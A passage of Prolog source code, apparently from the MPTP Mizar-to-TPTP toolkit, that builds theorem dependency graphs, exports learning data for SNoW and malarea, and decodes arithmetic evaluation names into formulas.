get_rec_uses(Name,RefCodes,_NN,_LRec1,_LRecNN1,_CL1,_CLNN1,_Last1,_LastNN1,_CLast1,_CLastNN1,_AllRecTmpS1,_AllRecTmpNNS1),\n\t  fail\n\t;\n\t  true\n\t).\n\n%% expand_sch_refs(+InRefs, +RefCodes, -OutRefs)\n%%\n%% All scheme references in InRefs are recursively expanded.\n%% The result is sorted into OutRefs. Only references starting with\n%% RefCodes are used for recursive expansion.\nexpand_sch_refs([], _, []).\n\nexpand_sch_refs([Ref|Refs], RefCodes, OutRefs):-\n\tatom_chars(Ref,[C|_]),\n\t( C = s ->\n\t    fof(Ref,_,_,file(_,Ref),Info),\n\t    Info = [mptp_info(_,_,_,_,_), inference(_,_,Refs1) |_],\n\t    findall(Ref1,(member(Ref0,Refs1),atom_chars(Ref0,[C0|Cs0]),\n\t\t\t  member(C0,RefCodes),fix_sch_ref(Ref0,[C0|Cs0],Ref1)), Refs2),\n\t    expand_sch_refs(Refs2, RefCodes, OutRefs2),\n\t    expand_sch_refs(Refs, RefCodes, OutRefs1),\n\t    append(OutRefs2, OutRefs1, OutRefs)\n\t;\n\t    expand_sch_refs(Refs, RefCodes, OutRefs1),\n\t    ( member(C,RefCodes) ->\n\t\tOutRefs = [Ref|OutRefs1]\n\t    ;\n\t\tOutRefs = OutRefs1\n\t    )\n\t).\n\n%% prints the nonumerical chain (actually tree) ending with LastTh,\n%% needs to run do_th_stats/1 first\n%% Option o_ths_EXPAND_SCHREFS causes to recursively replace all references to schemes\n%% with their references.\n%% the graph for mptp challenge was generated this way:\n%% ##TEST:\n%% :- do_th_stats(_,[o_ths_SCHEMES,o_ths_TL_LEMMAS]).\n%% :- print_nn_chain(l37_yellow19,[o_ths_SCHEMES,o_ths_TL_LEMMAS,o_ths_EXPAND_SCHREFS]).\nprint_nn_chain(LastTh):- print_nn_chain(LastTh,[]).\nprint_nn_chain(LastTh,Options):-\n\tall_articles(L),\n\tdeclare_mptp_predicates,\n\tload_mml,\n\tinstall_index,!,\n\t%% abstracting will probably fail if lemmas are loaded without top-level constant types!\n\t%% therefore the lemmas are loaded after abstracting;\n\t%% if some fraenkel is in them, bad luck (and manual work now)\n\t(member(A2,L), abstract_fraenkels(A2, [], _, _),fail; true), !,\n\t(member(o_ths_TL_LEMMAS, Options) -> (RefCodes2= [l], load_lemmas); RefCodes2=[]),\n\t(member(o_ths_DEFS, Options) -> RefCodes1= [d|RefCodes2]; RefCodes1=RefCodes2),\n\t(member(o_ths_SCHEMES, Options) -> RefCodes=[t,s|RefCodes1]; RefCodes=[t|RefCodes1]),\n\tinstall_index,!,\n\tth_rec_uses(LastTh,_,_,_,_,_,_,_,_,_,U,_),\n\t%% definitions are not in th_rec_uses now, so find them\n\tfindall(DefRef,\n\t\t(\n\t\t  member(Name,[LastTh|U]),\n\t\t  fof(Name,_,_,_,Info),\n\t\t  Info = [mptp_info(_,_,_,_,_), inference(_,_,Refs) |_],\n\t\t  member(DefRef,Refs),atom_chars(DefRef,[d|_])\n\t\t),\n\t\tDefRefs1),!,\n\tsort(DefRefs1, DefRefs),!,\n\t(\n\t  member(Name,[LastTh|U]),\n\t  fof(Name,_,Fla,file(A,Name),Info),\n\t  Info = [mptp_info(_,_,_,_,_), inference(_,_,Refs) |_],\n\t  findall(Ref,(member(Ref0,Refs),atom_chars(Ref0,[C|Cs]),\n\t\t       member(C,RefCodes),fix_sch_ref(Ref0,[C|Cs],Ref)), Refs1),\n\t  (member(o_ths_EXPAND_SCHREFS, Options) ->\n\t      expand_sch_refs(Refs1, RefCodes, Refs2)\n\t  ;\n\t      Refs2 = Refs1\n\t  ),\n\t  Info1 = inference(mizar_proof,[status(thm)],Refs2),\n\t  sort_transform_top(Fla,Fla1),\n\t  numbervars(Fla1,0,_),\n\t  print(fof(Name,theorem,Fla1,Info1,[file(A,Name)])),\n\t  write('.'),nl,\n\t  fail\n\t;\n\t  member(Name,DefRefs),\n\t  fof(Name,_,Fla,file(A,Name),_),\n\t  sort_transform_top(Fla,Fla1),\n\t  numbervars(Fla1,0,_),\n\t  print(fof(Name,definition,Fla1,file(A,Name))),\n\t  write('.'),nl,\n\t  fail\n\t).\n\n\ncmp_in_mml_order(Delta, Name1, Name2):-\n\tatom(Name1),\n\tatom(Name2),\n\tget_ref_fof(Name1, fof(Name1,_,_,file(Article1,_),\n\t\t\t       [mptp_info(ItemNr1, _, ItemKind1, position(Line1,Col1), _)|_])),\n\tget_ref_fof(Name2, fof(Name2,_,_,file(Article2,_),\n\t\t\t       [mptp_info(ItemNr2, _, ItemKind2, position(Line2,Col2), _)|_])),\n\tarticle_nr(Article1,ANr1),\n\tarticle_nr(Article2,ANr2),!,\n\tcompare(ADelta, ANr1, ANr2),\n\t(ADelta == '=' ->\n\t    (ItemKind1 == ItemKind2 ->\n\t\tcompare(Delta, ItemNr1, ItemNr2)\n\t    ;\n\t\t%% different kinds - have to compare by position\n\t\tcompare(Delta, [Line1,Col1], [Line2,Col2])\n\t    )\n\t;\n\t    Delta = ADelta\n\t).\n\n%% debugging\ncmp_in_mml_order(_,Name1,Name2):- throw(cmp_in_mml_order(Name1,Name2)).\n\n\n%% for articles only\ncmp_articles_in_mml_order(Delta, Article1, Article2):-\n\tatom(Article1),\n\tatom(Article2),\n\tarticle_nr(Article1,ANr1),\n\tarticle_nr(Article2,ANr2),!,\n\tcompare(Delta, ANr1, ANr2).\n\n%% debugging\ncmp_articles_in_mml_order(_,Name1,Name2):- throw(cmp_articles_in_mml_order(Name1,Name2)).\n\n\n%% number MML articles if needed\n%% takes a list of added articles (not in mml), that will be appended in their order\n%% to mml articles\nnumber_articles(Added):-  articles_numbered(Added),!.\nnumber_articles(Added):-\n\tall_articles(L1),\n\tappend([hidden,tarski|L1], Added, L),\n\tabolish(article_nr/2),\n\tdynamic(article_nr/2),!,\n\tfindall(foo, ( nth1(N,L,A), assert(article_nr(A,N))), _),\n\tassert(articles_numbered(Added)).\n\n\n\n%% sort fof names, using the article ordering, item numbers, and  positions\nsort_in_mml_order(U,U1):-\n\tnumber_articles([]),\n\tpredsort(cmp_in_mml_order,U,U1).\n\n%% sort_articles_in_mml_order(+ArticlesIn, +AddedNonMML, -ArticlesOut)\n%%\n%% Sort ArticlesIn using the article ordering in mml.lar .\n%% AddedNonMML (usually empty list) can be used to pass extra nonMML\n%% articles that will be appended to MML in that order for numbering.\nsort_articles_in_mml_order(ArticlesIn, AddedNonMML, ArticlesOut):-\n\tnumber_articles(AddedNonMML),\n\tpredsort(cmp_articles_in_mml_order,ArticlesIn,ArticlesOut).\n\n\n%% prints the graph in a .dot format\nprint_nn_chain_for_dot(LastTh):- print_nn_chain_for_dot(LastTh,[]).\nprint_nn_chain_for_dot(LastTh,Options):-\n\tdeclare_mptp_predicates,\n\tload_mml,\n\t(member(o_ths_TL_LEMMAS, Options) -> (RefCodes2= [l], load_lemmas); RefCodes2=[]),\n\t(member(o_ths_DEFS, Options) -> RefCodes1= [d|RefCodes2]; RefCodes1=RefCodes2),\n\t(member(o_ths_SCHEMES, Options) -> RefCodes=[t,s|RefCodes1]; RefCodes=[t|RefCodes1]),\n\tinstall_index,\n\tformat(\"strict digraph ~w {\",[LastTh]), !,\n\tth_rec_uses(LastTh,_,_,_,_,_,_,_,_,_,U,_),\n\tsort_in_mml_order([LastTh|U],U1), !,\n\tnth1(Nr,U1, Name),\n% \t(\n% \t  Nr = 1\n% \t;\n\n% \t  Nr > 1,\n% \t  PrevNr is Nr - 1,\n% \t  nth1(PrevNr,U1, PrevName),\n% \t  write(PrevName),format(\" -> \"),write(Name),format(\"[color = red];\"),nl\n% \t),\n\tfof(Name,_,_,file(_,Name),Info),\n\tInfo = [mptp_info(_,_,_,_,_), inference(_,_,Refs) |_],\n\tfindall(Ref,(member(Ref0,Refs),atom_chars(Ref0,[C|Cs]),\n\t\t     member(C,RefCodes),fix_sch_ref(Ref0,[C|Cs],Ref)), Refs1),\n\tonce(findall(d,(member(R1,Refs1),write(R1),format(\" -> \"),write(Name),format(\";\"),nl),_)),\n\tfail.\n\n%% select only references from article\nfilter_article_refs(Article,RefsIn,RefsOut):-\n\tfindall(Ref,\n\t\t(\n\t\t  member(Ref, RefsIn),\n\t\t  fof_name(Ref, Id),\n\t\t  clause(fof(Ref,_,_,file(Article,_),_),_,Id)\n\t\t),\n\t\tRefsOut\n\t       ).\n\n%% find article root theorems (i.e. those not referenced by other theorems in the article)\nfind_article_roots(A,Roots):-\n\tfindall([Ref,Refs1],\n\t\t(\n\t\t  fof_file(A,I),\n\t\t  clause(fof(Ref,theorem,_,file(A,_),[mptp_info(_,_,_,_,_), inference(_,_,[R1|Refs])| _]),_,I),\n\t\t  filter_article_refs(A,[R1|Refs],Refs1)\n\t\t),\n\t\tPairs\n\t       ),\n\tzip(Ths, Refs2, Pairs),\n\tflatten(Refs2, Refs3),\n\tsort(Refs3, Refs4),\n\tsubtract(Ths, Refs4, Roots).\n\n%% ###TODO: pepin.lem2 is broken because of very large integer evaluations there\n%% Print the nr. of roots of articles asserted in predicate good/1, print the roots\n%% of each such article, and count how many roots are in all good articles\n%% ##TEST: :- assert(good(aff_3)),declare_mptp_predicates,load_mml,install_index,\n%%            findall(N,(good(X),find_article_roots(X,Roots),length(Roots,N),print(roots(X,N)),nl,print(Roots),nl),L),\n%%            sumlist(L,M),length(L,L1),print(L).\n\n%%%%%%%%%%%%%%%%%%%% Create initial proved_by table for malarea  %%%%%%%%%%%%%%%%%%%%\n\n%% print thms and top lemmas with top-level references, and including itself;\n%% all other top-level guys (defs, clusters, types) will be taken care of by malarea\nmk_proved_by_for_malarea(File):-\n\tdeclare_mptp_predicates,\n\tall_articles(Articles),\n\tload_theorems,\n\tload_lemmas,\n\ttell(File),\n\t%% ###TODO: this might be a bit fragile\n\t(\n\t  member(A,[tarski|Articles]),\n\t  fof(Name,Kind,_Fla,file(A,Name),Info),\n\t  member(Kind,[theorem,lemma_conjecture]),\n\t  Info = [mptp_info(_,_,_,_,_), inference(_,_,Refs) |_],\n\t  Refs = [_ | _],\n\t  findall(Ref,(member(Ref,Refs),atom_chars(Ref,[C|_]),\n\t\t       member(C,[t,d,s,l])), Refs1),\n\t  write(proved_by(Name,[Name | Refs1])),\n\t  write('.'), nl,\n\t  fail\n\t;\n\t  told\n\t).\n\n%%%%%%%%%%%%%%%%%%% Get the used_by info %%%%%%%%%%%%%%%%%%%%\ncreate_used_by(_Options):-\n\tdeclare_mptp_predicates,\n\tload_theorems,\n\tinstall_index,\n\tall_articles(Articles),\n\tabolish(used_by/2),\n\tdynamic(used_by/2),\n\t(\n\t member(A,[tarski|Articles]),\n\t fof(Name,Kind,_,file(A,Name),Info),\n\t Kind = theorem,\n\t Info = [mptp_info(_,[],theorem,_,_), inference(_,_,Refs) |_],\n\t findall(Ref,(member(Ref,Refs),atom_chars(Ref,[C|_]),\n\t\t     member(C,[t,d]), assert(used_by(Ref,Name))), _),\n\t fail\n\t;\n\t true\n\t).\n\n% should be preceded by create_used_by\nprint_used_by(File, _Options):-\n\tall_articles(Articles),\n\ttell(File),\n\t(\n\t member(A,[tarski|Articles]),\n\t fof(Name,_,_,file(A,Name),_),\n\t findall(Ref, used_by(Name, Ref), Refs),\n\t concat_atom(Refs,',',ToPrint),\n\t write(Name), write(':'), write(ToPrint), nl,\n\t fail\n\t;\n\t told\n\t).\n\n\n%%%%%%%%%%%%%%%%%%%% Create training data for SNoW %%%%%%%%%%%%%%%%%%%%\n\n%% symbol and reference numbering for snow\n%% symbols start at 100000\nget_snow_refnr(Ref,Nr):- snow_refnr(Ref,Nr),!.\nget_snow_refnr(Ref,Nr):-\n\tflag(snow_refnr,N,N+1), Nr is N+1,\n\tassert(snow_refnr(Ref,Nr)),!.\n\nget_snow_symnr(Ref,Nr):- snow_symnr(Ref,Nr),!.\nget_snow_symnr(Ref,Nr):- flag(snow_symnr,N,N+1), Nr is N+1,\n\tassert(snow_symnr(Ref,Nr)),!.\n\n%% print defs and thms, with only top-level references\n%% now prints in the article order, and also respects\n%% the order of defs and theorems in the article -\n%% needed for incremental learning\n%% ##TEST: :- mk_snow_input_for_learning(snow1,[]).\n%%\n%% With the following options the formula is printed as a graph, and with symbol\n%% numbering starting at 0 (instead of reference numbering):\n%% ##TEST: :- mk_snow_input_for_learning(snow3,[opt_LEARN_EDGE, opt_LEARN_SYMS_SMALL]).\nmk_snow_input_for_learning(File,Options):-\n\tdeclare_mptp_predicates,\n\tload_theorems,\n\tinstall_index,\n\tall_articles(Articles),\n\tabolish(snow_symnr/2),\n\tabolish(snow_refnr/2),\n\tdynamic(snow_symnr/2),\n\tdynamic(snow_refnr/2),\n\t(\n\t member(opt_LEARN_SYMS_SMALL, Options) ->\n\t flag(snow_refnr,_,100000),\t \n\t flag(snow_symnr,_,0)\n\t;\n\t flag(snow_refnr,_,0),\n\t flag(snow_symnr,_,100000)\n\t),\n\tlogic_syms(LogicSyms),\n\tconcat_atom([File,'.train'], TrainFile),\n\tconcat_atom([File,'.refnr'], RefFile),\n\tconcat_atom([File,'.symnr'], SymFile),\n\ttell(TrainFile),\n\t%% print definitions - they have no proof\n\t%% ###TODO: this might be a bit fragile\n\t(\n\t  member(A,[tarski|Articles]),\n\t  fof(Name,Kind,Fla,file(A,Name),Info),\n\t  (\n\t    Kind = definition,\n\t    Refs1 = []\n\t  ;\n\t    Kind = theorem,\n\t    Info = [mptp_info(_,[],theorem,_,_), inference(_,_,Refs) |_],\n\t    findall(Ref,(member(Ref,Refs),atom_chars(Ref,[C|_]),\n\t\t\t member(C,[t,d])), Refs1)\n\t  ),\n\t (\n\t  member(opt_LEARN_EDGE,Options) ->\t  \n\t  sort_transform_top(Fla,Fla1),\n\t  numbervars(Fla1,0,_),\n\t  term2list(Fla1,LL1),\n\t  flatten(LL1,LL2),\n\t  length(LL2,Length1),\n\t  write(Length1),\n\t  write(';'),\n\t  print_as_numbered_tree(Fla1),\n\t  maplist(get_snow_refnr,[Name|Refs1],RefNrs),\n\t  concat_atom(RefNrs,',',ToPrint),\n\t  write(ToPrint), write(':'), nl\n\t ;\n\t  collect_symbols_top(Fla, AllSyms),\n\t  subtract(AllSyms,LogicSyms,Syms),\n\t  Syms = [_|_],\t\t \n\t  maplist(get_snow_symnr,Syms,SymNrs),\n\t  maplist(get_snow_refnr,[Name|Refs1],RefNrs),\n\t  append(SymNrs,RefNrs,AllNrs),\n\t  concat_atom(AllNrs,',',ToPrint),\n\t  write(ToPrint), write(':'), nl\n\t ),\n\t fail\n\t;\n\t  told\n\t),\n\ttell(SymFile),\n\tlisting(snow_symnr),\n\ttold,\n\ttell(RefFile),\n\tlisting(snow_refnr),\n\ttold.\n\n\n\n\n%% print_as_numbered_tree(+Term)\n%%\n%% prints term edges in the format 11:23,45:3,56:78\n%% numbering the vertices uniquely\nprint_as_numbered_tree(Term) :- p2t(Term),!.\n\np2t(X):- (atomic(X);var(X);is_numvar(X)),!.\np2t(X):-\n\tX =.. [H|T],\n\tget_snow_symnr(H,HNr),\n\tprint_edges_to(HNr,T),\n\tchecklist(p2t, T).\n\n%% print_edges_to(+From,+ToTerms)\nprint_edges_to(_,[]).\nprint_edges_to(From,[H|T]):-\n\twrite(From),\n\twrite(':'),\n\t(\n\t (atomic(H);is_numvar(H)) -> H1 = H\n\t;\n\t H=.. [H1|_]\n\t),\n\tget_snow_symnr(H1,HNr),\n\twrite(HNr),\n\twrite(','),\n\tprint_edges_to(From,T).\n\n%% translate numerical spec into Refs and assert them\n%% not used any more, implementing the translation in perl\n%% with an array is much faster\nsnow_nr_spec_translate(Nr,Nrs):-\n\tmaplist(snow_refnr, [Ref | Refs], [Nr | Nrs]),\n\tassert(snow_spec( Ref, Refs)), !,\n\t((0 =:= Nr mod 1000) -> write('.'),nl; true).\n\n% snow_nr_spec_translate(R,Rs):- throw(snow_nr_spec_translate(R,Rs)).\n\n\n%% parse snow specification\n%% not used any more, the prolog translation was very slow\n%% use just consult(Specfile) instead now!!\nparse_snow_specs(File):-\n\tthrow(do_not_use_this),\n\tabolish(snow_symnr/2),\n\tabolish(snow_refnr/2),\n\tabolish(snow_spec/2),\n\tabolish(snow_nr_spec/2),\n%\tdynamic(snow_symnr/2),\n%\tdynamic(snow_refnr/2),\n\tdynamic(snow_spec/2),\n%\tdynamic(snow_nr_spec/2),\n\tindex(snow_symnr(1,1)),\n\tindex(snow_refnr(1,1)),\n\tconcat_atom([File,'.spec'], SpecFile),\n\tconcat_atom([File,'.refnr'], RefFile),\n\tconcat_atom([File,'.symnr'], SymFile),\n \tload_files([RefFile, SymFile]),\n\tindex(snow_refnr(1,1)),\n\tcompile_predicates([snow_refnr/2]),\n\tsee(SpecFile),\n\trepeat,\n\tread(Spec),\n\t( Spec = end_of_file -> seen;\n\t    Spec = snow_nr_spec(Nr,Nrs),\n%\t    assert(snow_nr_spec(Nr,Nrs)),\n\t    snow_nr_spec_translate(Nr, Nrs),\n\t    fail).\n% \tload_files([SpecFile, RefFile, SymFile]),\n% \t(\n% \t  snow_nr_spec(Nr, Nrs),\n% \t  snow_nr_spec_translate(Nr, Nrs),\n% \t  fail\n% \t;\n% \t  true\n% \t).\n\n%%%%%%%%%%%%%%% requirements switched on by directives %%%%%\n\n%% arithm.dre MML 930\n% req_RealAdd,             //12\n% req_RealMult,            //13\n% req_RealNeg,             //21\n% req_RealInv,             //22\n% req_RealDiff,            //23\n% req_RealDiv,             //24\n% req_ImaginaryUnit,       //29\n% req_Complex,             //30\n\n% %% boole.dre\n% req_Empty,               //4\n% req_EmptySet,            //5  \n% req_Union,               //16\n% req_Intersection,        //17\n% req_Subtraction,         //18\n% req_SymmetricDifference, //19\n% req_Meets,               //20  \n\n% %% hidden.dre\n% req_Any,                 //1\n% req_EqualsTo,            //2\n% req_BelongsTo,           //3\n\n\n% %% numerals.dre\n% req_Succ,                //15\n% req_Omega                //31\n\n\n% %% real.dre\n% req_LessOrEqual,         //14\n% req_Positive,            //26\n% req_Negative,            //27\n\n% %% subset.dre\n% req_Element,             //6\n% req_PowerSet,            //7\n% req_Inclusion,           //8\n% req_SubDomElem,          //9\n\n\n  \n\n%%%%%%%%%%%%%%% generating numerical formulas %%%%%%%%%%%%%%%%%%%%\n\n%% ## TEST: :- declare_mptp_predicates,load_mml,\n%%             findall(L,(current_atom(L), atom_concat(rq,L1,L), concat_atom([_,_,_|_],'__',L1)), Names),length(Names,N).\n%% There are 7456 different evaluations in MML 940 4.48\n%% (measured by previous, which may omit some evaluations in proofs of e.g. def. correctness)\n\n%% ###TODO: rqPositive, rqNegative\n%% ##TODO: represent the operators with TPTP language\n%% ##TODO: arithmetical evaluations take place in Mizar also during\n%%         term parsing (identify.pas:CollectInferConst), precisely:\n%%   - numerals and rqImaginaryUnit get a numvalue\n%%   - rqRealAdd, rqRealMult, rqRealDiff, rqRealDiv, rqRealNeg, rqRealInv\n%%     of arguments with numvalue get a numvalue\n%%  Parsing (CollectInferConst) can happen in other places than just\n%%  By justifications, so we probably have to do these evaluations\n%%  automatically, once we encounter such terms and the requirements\n%%  tell us to do so.\n\n%% axioms needed for any arithmetical problem:\n%% linearity of odering of reals (if rqLessOrEqual appeared)\n%% X+0 = X   ARITHM:1 fof(t1_arithm,theorem,![B1: v1_xcmplx_0]: ( k2_xcmplx_0(B1,0) = B1 ),file(arithm,t1_arithm),\n%% X + (-Y) = X - Y  fof(spc1_arithm,theorem,![(B1: v1_xcmplx_0),(B2: v1_xcmplx_0) ]: ( k2_xcmplx_0(B1,k4_xcmplx_0(B2)) =\n%%                       k6_xcmplx_0(B1,B2) ),file(arithm,spc1_arithm),\n%% -(-X) = X  fof(involutiveness_k4_xcmplx_0\n%% X*0 = 0  ARITHM:2\n%% X*1 = X  ARITHM:3 \n%% X*(-1) = -X fof(spc2_arithm,theorem,![B1: v1_xcmplx_0]: ( k3_xcmplx_0(B1,k4_xcmplx_0(1)) =  k4_xcmplx_0(B1)),\n%%                       file(arithm,spc2_arithm),\n%% (X\")\" = X   (what about 0? - holds) fof(involutiveness_k5_xcmplx_0\n%% 1/X = X\"  as special case of XCMPLX_0:def 9 (X/Y = X*Y\"), let's have an spc3_arithm:\n%%              fof(spc3_arithm,theorem,![B1: v1_xcmplx_0]: ( k7_xcmplx_0(1,B1) =  k5_xcmplx_0(B1)),\n%%                       file(arithm,spc3_arithm),\n%% X/1 = X  ARITHM:6\n%% X*(Y/Z) = (X*Y)/Z  fof(spc4_arithm,theorem,![(B1: v1_xcmplx_0),(B2: v1_xcmplx_0),(B3: v1_xcmplx_0) ]:\n%%                         ( k3_xcmplx_0(B1,k7_xcmplx_0(B2,B3)) = k7_xcmplx_0(k3_xcmplx_0(B1,B2),B3)),\n%%                       file(arithm,spc4_arithm),\n%% succ(X) = X+1 ( only if both succ and + present in a problem)\n%% (X+Y)*Z= X*Z + Y*Z fof(spc5_arithm,theorem,![(B1: v1_xcmplx_0),(B2: v1_xcmplx_0),(B3: v1_xcmplx_0) ]:\n%%                         ( k3_xcmplx_0(k2_xcmplx_0(B1,B2),B3) = k2_xcmplx_0(k3_xcmplx_0(B1,B3),k3_xcmplx_0(B2,B3))),\n%%                       file(arithm,spc5_arithm),\n%% (X+Y)+Z = X+(Y+Z) fof(spc6_arithm,theorem,![(B1: v1_xcmplx_0),(B2: v1_xcmplx_0),(B3: v1_xcmplx_0) ]:\n%%                         ( k2_xcmplx_0(k2_xcmplx_0(B1,B2),B3) = k2_xcmplx_0(B1,k2_xcmplx_0(B2,B3))),\n%%                       file(arithm,spc6_arithm),\n%% (X*Y)*Z = X*(Y*Z) fof(spc7_arithm,theorem,![(B1: v1_xcmplx_0),(B2: v1_xcmplx_0),(B3: v1_xcmplx_0) ]:\n%%                         ( k3_xcmplx_0(k3_xcmplx_0(B1,B2),B3) = k3_xcmplx_0(B1,k3_xcmplx_0(B2,B3))),\n%%                       file(arithm,spc6_arithm),\n%% version of spc1 catching cases without rqRealDiff (was redundant for square_1, but needed by xreal_1)\n%% (-X) + (-Y) = -(X + Y)  fof(spc8_arithm,theorem,![(B1: v1_xcmplx_0),(B2: v1_xcmplx_0) ]:\n%%                           ( k2_xcmplx_0(k4_xcmplx_0(B1),k4_xcmplx_0(B2)) =\n%%                       k4_xcmplx_0(k2_xcmplx_0(B1,B2)) ),file(arithm,spc8_arithm),\n%% another strange phrasing of spc1, when + is not there    \n%% (-X) - (-Y) = Y - X    fof(spc9_arithm,theorem,![(B1: v1_xcmplx_0),(B2: v1_xcmplx_0) ]:\n%%                        ( k6_xcmplx_0(k4_xcmplx_0(B1),k4_xcmplx_0(B2))  =\n%%                          k6_xcmplx_0(B2,B1) ),file(arithm,spc9_arithm),\n%% (X\") * (Y\") = (X*Y)\"   fof(spc10_arithm,theorem,![(B1: v1_xcmplx_0),(B2: v1_xcmplx_0) ]:\n%%                           ( k3_xcmplx_0(k5_xcmplx_0(B1),k5_xcmplx_0(B2)) =\n%%                       k5_xcmplx_0(k3_xcmplx_0(B1,B2)) ),file(arithm,spc10_arithm),\n%% (X\") / (Y\") = Y/X     fof(spc11_arithm,theorem,![(B1: v1_xcmplx_0),(B2: v1_xcmplx_0) ]:\n%%                        ( k7_xcmplx_0(k5_xcmplx_0(B1),k5_xcmplx_0(B2))  =\n%%                          k7_xcmplx_0(B2,B1) ),file(arithm,spc11_arithm),\n%% X*(Y\") = X/Y      fof(spc12_arithm,theorem,![(B1: v1_xcmplx_0),(B2: v1_xcmplx_0) ]: ( k3_xcmplx_0(B1,k5_xcmplx_0(B2)) =\n%%                       k7_xcmplx_0(B1,B2) ),file(arithm,spc12_arithm),\n%% -(X - Y) = Y - X    \n%%                     \n%%                     \n\n\n%% (-X) - Y = -(X + Y)\n%% X <= X  reflexivity\n\n\n%% this could become  MML-version specific (it is now)\nreq_LessOrEqual([4,48,_],r1_xreal_0):-!.\nreq_LessOrEqual([4,_,_],r1_xxreal_0).\nreq_ImaginaryUnit(_,k1_xcmplx_0).\nreq_RealAdd(_,k2_xcmplx_0).\nreq_RealDiff(_,k6_xcmplx_0).\nreq_RealDiv(_,k7_xcmplx_0).\nreq_RealInv(_,k5_xcmplx_0).\nreq_RealMult(_,k3_xcmplx_0).\nreq_RealNeg(_,k4_xcmplx_0).\nreq_Positive([4,48,_],v2_xreal_0):-!.\nreq_Positive([4,_,_],v2_xxreal_0).\n\n\n%% decode_pn_number(+Atom, [-MizExpr, -CmplxNr])\n%%\n%% Decode the Polish notation used for encoding numbers in MPTP\n%% formula names. The result is an MPTP term, encoded using\n%% the corresponding Mizar functors (see the req_Real... above),\n%% and a canonical prolog term c(Im,Re) for proper complex numbers, and\n%% r(NumInt,DenInt) (e.g. r(-1,3)) for those whose imaginary part is 0,\n%% usable for prolog evaluation and comparison.\ndecode_pn_number(MmlVersion, Atom, [MizExpr, CmplxNr]):-\n\tensure(atom_chars(Atom, Chars), decode_pn_number(Atom)),\n\tensure(decd_cmplx_nr(Chars, MmlVersion, MizExpr, CmplxNr, []), decd_cmplx_nr(Chars)).\n\ndecd_cmplx_nr([c|L1],MmlVersion,MizRes,c(Im,Re),Hole):- !,\n\tdecd_rat_nr(L1, MmlVersion, MizIm1, Im, [r|Rest]),\n\tdecd_rat_nr([r|Rest], MmlVersion, MizRe1, Re, Hole),\n\treq_ImaginaryUnit(MmlVersion,ImU),\n\t(\n\t  MizIm1 = 1 ->\n\t  MizIm = ImU\n\t;\n\t  req_RealMult(MmlVersion,Mult),\n\t  MizIm =.. [Mult, MizIm1, ImU]\n\t),\n\t(\n\t  MizRe1 = 0 ->\n\t  MizRes = MizIm\n\t;\n\t  req_RealAdd(MmlVersion,Add),\n\t  MizRes =.. [Add, MizIm, MizRe1]\n\t).\n\ndecd_cmplx_nr([r|L1],MmlVersion,MizRes,RatNr,Hole):- decd_rat_nr([r|L1], MmlVersion, MizRes, RatNr, Hole).\n\ndecd_rat_nr([r,n|L1],MmlVersion,MizRes,r(SNum,SDen),Hole):- !,\n\tdecd_signed_nr(L1, MmlVersion, MizNum, SNum1, [d|Rest]),\n\tdecd_signed_nr(Rest, MmlVersion, MizDen, SDen1, Hole),\n\tratnr_normalize_sgn(r(SNum1,SDen1), r(SNum,SDen)),\t\n\treq_RealDiv(MmlVersion, Div),\n\tMizRes =.. [Div, MizNum, MizDen].\n\ndecd_rat_nr([r|L1],MmlVersion,MizRes,r(SNum,1),Hole):- decd_signed_nr(L1,MmlVersion,MizRes,SNum,Hole).\n\ndecd_signed_nr([m|L1],MmlVersion,MizRes,SNum,Hole):- !,\n\tdecd_nat_nr(L1, Res1, Hole),\n\tSNum is 0 - Res1,\n\treq_RealNeg(MmlVersion, Neg),\n\tMizRes =.. [Neg, Res1].\n\ndecd_signed_nr(L1,_,Res,Res,Hole):- decd_nat_nr(L1,Res,Hole).\n\ndecd_nat_nr([H|T],Res,Hole):-\n\tdigit(H),\n\tdecd_digits(T,Digs,Hole),\n\tnumber_chars(Res, [H | Digs]).\n\ndecd_digits([D|L],[D|Res1],Hole):-\n\tdigit(D),!,\n\tdecd_digits(L, Res1, Hole).\n\ndecd_digits(Hole,[],Hole).\n\n%% Normalize signum of a fraction so that there is at most\n%% one, and at the numerator (safety, Mizar ensures this).\nratnr_normalize_sgn(r(SNum1,SDen1), r(SNum,SDen)):-\n\t  SDen1 < 0, !,\n\t  SDen is 0 - SDen1,\n\t  SNum is 0 - SNum1.\n\nratnr_normalize_sgn(r(SNum,SDen), r(SNum,SDen)).\n\n%% compare two fractions in the standard numerical ordering\nratnr_cmp(Order,r(A,B),r(C,D)):-\n\tAD is A*D,\n\tBC is B*C,\n\tcompare(Order, AD, BC).\n\n%% decode_eval_name(+Name,-Req,-Constructor,-MizNumbers,-Numbers)\n%%\n%% Name is a reference like: rqRealMult__k3_xcmplx_0__rnm1d2_rm2.\n%% Returns the requirement (rqRealMult), constructor (k3_xcmplx_0),\n%% list of Mizar numbers like:\n%% [k7_xcmplx_0(k4_xcmplx_0(1), 2), k4_xcmplx_0(2)], and\n%% a list of corresponding prolog-friendly rational numbers like:\n%% [r(-1, 2), r(-2, 1)].\ndecode_eval_name(Name,Req,Constructor,MizNumbers,RatNrs):-\n\tconcat_atom([Req,Constructor,ArgsAtom], '__', Name),\n\tconcat_atom(ArgsAtoms,'_',ArgsAtom),\n\tmml_version(MmlVersion),\n\tmaplist(decode_pn_number(MmlVersion), ArgsAtoms, Numbers),\n\tzip(MizNumbers, RatNrs, Numbers).\n\n\n%% create_eval_fla(Req, Constructor, MizNumbers, RatNrs, -Fla)\ncreate_eval_fla(rqLessOrEqual, Constructor, [MizNr1,MizNr2], [RatNr1,RatNr2], Fla):- !,\n\tFla1 =.. [Constructor, MizNr1, MizNr2],\n\t(\n\t  ratnr_cmp('>', RatNr1, RatNr2) ->\n\t  Fla = (~ Fla1)\n\t;\n\t  Fla = Fla1\n\t).\n\n%% ###TODO: check the Mizar result in prolog here\ncreate_eval_fla(_Req, Constructor, MizNumbers, _RatNrs, FuncTerm = MizRes):-\n\tappend(MizArgs, [MizRes], MizNumbers),\n\tFuncTerm =.. [Constructor | MizArgs].\n\t\n%% gen_eval_fof(+Name,-Fof,+Options)\n%%\n%% ##TODO: add a third debugging clause (ensure) if it's ok for callers\ngen_eval_fof(Name,_Fof,_Options):- fof(Name,_,_,_,_),!,fail.\ngen_eval_fof(Name,Fof,_Options):-\n\tdecode_eval_name(Name, Req, Constructor, MizNumbers, RatNrs),\n\tcreate_eval_fla(Req, Constructor, MizNumbers, RatNrs, Fla),\n\tFof = fof(Name,theorem, Fla, file(arithm,Name),\n\t\t  [mptp_info(0,[],theorem,position(0,0),[0])]).\n\n%% assert_arith_evals(-Names)\n%%\n%% Asserts arithmetical formulas for evaluations referenced\n%% anywhere, and returns their fof 